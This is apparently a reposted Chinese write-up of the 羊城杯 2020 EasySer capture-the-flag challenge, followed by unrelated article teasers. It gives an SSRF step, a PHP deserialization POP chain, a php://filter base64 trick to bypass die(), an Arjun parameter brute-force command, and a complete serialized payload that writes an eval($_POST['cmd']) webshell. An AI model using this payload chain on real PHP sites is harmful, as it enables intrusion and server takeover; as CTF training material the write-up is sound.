[羊城杯 2020]EasySer

[羊城杯 2020]EasySer

  • 进入页面,发现是ubuntu+apache2,但是好像没啥用

  • 尝试访问/robots.txt,得到
    image.png

  • 访问/star1.php/,查看源码,得到提示
    image.png

  • 一看就知道是ssrf,使用http://127.0.0.1/ser.php,得到源码
    image.png

源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d   = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
}?>

pop链子很简单:GWHT:__toString() => Yongen:hasaki()

绕过死亡die()

[[绕死亡exit()或die()]]
p神的文章谈一谈php://filter的妙用

使用编码和解码(base64)

首先利用的伪协议是php://filter/write=convert.base64-decode/resource=
将写入的内容进行base64解码后写入文件知识点
而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
base64算法解码时是4个byte一组利用
由于<、?、()、;、>、\n、空格、"、'都不是base64编码的范围,
编码字符范围包括a-z A-Z 0-9 = /
直接拿<?php exit();?>举例
所以最终被解码的字符仅有“phpexit”和我们传入的其他字符
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。
这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。这时如果传入的是php://filter/write=convert.base64-decode/resource='a'.'PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4='   
注:base64_encode('<?php @eval($_POST["cmd"]);?>')PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=则"phpexita"被正常解码,变为乱码,PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=解码后变为一句话木马

除了上面直接看,还可以直接用代码,打开文件查看,试几次就出来了

<?php
$filename = 'php://filter/write=convert.base64-decode/resource=shell.php';
$data = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=';
$add_str = '111';
$d = '<?php die("nononon");?>';
$data = $d . $add_str . $data;
file_put_contents($filename, $data);
  • phpdienononon:总共13个字符,所以需要加3个字符

Arjun

  • 接受序列化的参数在哪里呢,使用Arjun爆破,现在知道了ser.php源码,还有flag.php和star1.php不知道,爆破了flag.php啥都没有,爆破star1.php得到
使用工具Arjun进行参数爆破
命令:python3 arjun -u http://aac8b7e4-008f-486a-9642-232db8c62642.node4.buuoj.cn:81/ -c 100 -d 5
解释:-c :一次发送的参数数  -d:请求之间的延迟(秒),(默认值:0)  
如果不加-d 5可能就会429然后导致爆破不出来,当然,加上延时后速度自然慢的离谱
  • 得到第二个参数c

payload

<?php
class GWHT{public $hero;}
class Yongen{//flag.phppublic $file='php://filter/write=convert.base64-decode/resource=shell.php';public $test='aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=';}
$a=new GWHT();
$a->hero=new Yongen();
echo serialize($a);
//O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:4:"text";s:43:"aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=";}}

paylod

/star1.php?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:4:"text";s:43:"aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=";}}
  • 链接AntSword,在根目录下面得到flag,对了flag.php是空的,什么都没有
    image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/787837.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

鸿蒙OS开发实例:【ArkTS类库异步并发async/await】

async/await是一种用于处理异步操作的Promise语法糖&#xff0c;使得编写异步代码变得更加简单和易读。通过使用async关键字声明一个函数为异步函数&#xff0c;并使用await关键字等待Promise的解析&#xff08;完成或拒绝&#xff09;&#xff0c;以同步的方式编写异步操作的代…

关系(二)利用python绘制热图

关系&#xff08;二&#xff09;利用python绘制热图 热图 &#xff08;Heatmap&#xff09;简介 热图适用于显示多个变量之间的差异&#xff0c;通过颜色判断彼此之间是否存在相关性。 快速绘制 基于seaborn import seaborn as sns import pandas as pd import numpy as np i…

【微服务】软件架构的演变之路

目录 单体式架构的时代单体式架构(Monolithic)优点缺点适用场景单体式架构面临诸多问题1.宽带提速&#xff0c;网民增多2.Web2.0时代的特点问题描述优化方向 集群优点缺点适用场景搭建集群后面临诸多问题用户请求问题用户的登录信息数据查询 改进后的架构 垂直架构优点缺点 分布…

实战 | YOLOv8自定义数据集训练实现手势识别 (标注+训练+预测 保姆级教程--含数据集)

导 读 本文将手把手教你用YoloV8训练自己的数据集并实现手势识别。 安装环境 【1】安装torch, torchvision对应版本,这里先下载好,直接安装 pip install torch-1.13.1+cu116-cp38-cp38-win_amd64.whlpip install torchvision-0.14.1+cu116-cp38-cp38-win_amd64.whl 安装好…

iOS系统文件路径解析:探索苹果手机中各类重要文件的存储位置

​ 目录 引言 用户登录工具和连接设备 查看设备信息&#xff0c;电池信息 查看硬盘信息 硬件信息 查看 基带信息 销售信息 电脑可对手机应用程序批量操作 运行APP和查看APP日志 IPA包安装测试 注意事项 引言 苹果手机与安卓手机不同&#xff0c;无法直接访问系统文件…

从《布瓦尔与佩库歇》实践中学习社会科学概论

从《布瓦尔与佩库歇》实践中学习社会科学概论 前情提要《布瓦尔与佩库歇》实践笔记云藏山鹰社会科学概论报告核心--信息形数身知™意合™意气实体过程意气实体过程宇宙学诠释™ 社会科学概论花间流风版导读&#xff0c;马斯克风格演讲[ 一尚韬竹团队供稿&#xff1b;] 内容展开…

音乐家马常旭当选为中华名人库委员会副主席

4月2日&#xff0c;据中华名人库官网显示&#xff0c;马常旭已当选为中华名人库委员会副主席。此前马常旭是一名音乐家、中国内地著名男歌手。 马常旭资料 马常旭&#xff0c;男&#xff0c;汉族&#xff0c;2002年10月生&#xff0c;辽宁大连人。现任中华名人库委员会副主席&…

数据结构第二版-陈越 第1章 概论

定义&#xff1a; 题或例子&#xff1a; 循环和递归两种方法 循环体不同

vk-unicloud 框架 H5 浏览器无法登录访问 Client platform is h5, but web was found in config

最开始出现的bug 进入云函数查看日志 Client platform is h5, but web was found in config 把这个问题扔到百度是没有答案的&#xff0c;但是找到一个类似问题 &#xff1a;Client platform is app, but app-plus was found in config. 顺藤摸瓜到uniCloud的官方文档 关于pr…

python coding with ChatGPT 专题2| 全解递归算法

文章目录 递归与栈的关系如何思考递归汉诺塔 经典题目入门&#xff1a;斐波那契数列分治法&#xff1a;归并排序树的递归遍历组合问题&#xff1a;子集搜索问题&#xff1a;N皇后 拓展阶乘的迭代法斐波那契数列迭代法青蛙跳 参考文献 掌握递归是解决许多编程问题的关键&#xf…

isaacgym 渲染黑屏

问题描述&#xff1a; isaacgym安装完IsaacGym_Preview_4_Package.tar.gz之后&#xff0c;运行python joint_monkey.py没有任何内容现实&#xff0c;但是终端还是正常输出信息。 环境是ubuntu22服务器&#xff0c;python3.8&#xff0c;nvidia Driver Version: 515.65.01 CUDA…

【JavaSE】解密 继承和多态(下)

前言 紧接着上篇 解密继承和多态&#xff08;上&#xff09;~ 欢迎关注个人主页&#xff1a;逸狼 创造不易&#xff0c;可以点点赞吗~ 如有错误&#xff0c;欢迎指出~ 目录 前言 protected关键字 在同一包下同一类可以访问 代码理解 在同一包下不同类可以访问 代码理解 …

HarmonyOS 应用开发之LifecycleForm接口切换LifecycleApp接口切换 LifecycleApp接口切换

LifecycleForm接口切换 FA模型接口Stage模型接口对应d.ts文件Stage模型对应接口onCreate?(want: Want): formBindingData.FormBindingData;ohos.app.form.FormExtensionAbility.d.tsonAddForm(want: Want): formBindingData.FormBindingData;onCastToNormal?(formId: string…

Octavia Venture 成立,打造数十亿美元规模的 AI 价值体系

​随着 OpenAI 相继发布 ChatGPT、Sora 等 AIGC 大模型后&#xff0c;AI 赛道的发展迎来了一轮又一轮的热潮&#xff0c;这也让极具想象力的 AI 赛道涌入大量资金&#xff0c;比如英伟达股票市值短时间内从 1 万亿美元暴涨至 2 万亿美元&#xff0c;就是最好的佐证。当然&#…

Linux ssh免密登录配置

步骤 在本地机器上生成公钥和私钥对。将本地公钥复制到远程机器的~/.ssh/authorized_keys文件中。 实现1 在服务器上生成SSH密钥对 ssh-keygen -t rsa -f /home/id_rsa1ssh-keygen: 这是一个用于生成、管理和转换 SSH 密钥的 OpenSSH 工具。-t rsa: 用于指定要生成的密钥类…

Python学习:面相对象

面向对象 面向对象技术简介 类(Class): 用来描述具有相同的属性和方法的对象的集合。它定义了该集合中每个对象所共有的属性和方法。对象是类的实例。方法:类中定义的函数。类变量:类变量在整个实例化的对象中是公用的。类变量定义在类中且在函数体之外。类变量通常不作为实…

【AI绘画/作图】风景背景类关键词模板参考

因为ds官网被墙,所以翻了IDE的源码整理了下stablestudio里的官方模板&#xff0c;顺便每个模板生成了一份…不知道怎么写关键词的可以参考 Stunning sunset over a futuristic city, with towering skyscrapers and flying vehicles, golden hour lighting and dramatic cloud…

yolov7代码 | model.named_models

文章目录 前言1. print(model)2. print(model.named_models)2.1 print(name)2.2 print(module)2.3 print(f"{name}:: {module}") 3. hasattr(module, weight) 前言 了解model.named_models&#xff0c;为剪枝做准备。 剪枝有一些层如果你不想剪掉&#xff0c;那就用…

实现恒功率控制丨极海APM32F035高压灌溉水泵参考方案

直流无刷电机用途广泛&#xff0c;具有高效节能、使用寿命长、运行可靠无电火花、结构简单易维护等性能优势&#xff0c;在办公设备、智能家居、消费家电、工业设备、医疗设备等领域已规模化落地。随着智能化技术与成本的持续优化&#xff0c;BLDC应用将进一步提升在各行业的渗…

OpenAI官宣,ChatGPT免登录使用

昨天&#xff0c;就在愚人节当天&#xff0c;OpenAI突然宣布ChatGPT3.5向所有人开放&#xff0c;意思是即使没有注册OpenAI的账号&#xff0c;也能体验ChatGPT&#xff0c;就像浏览器一样&#xff0c;联接即可使用。 消息一出&#xff0c;OpenAI的官网直接被大量的用户挤挂了。…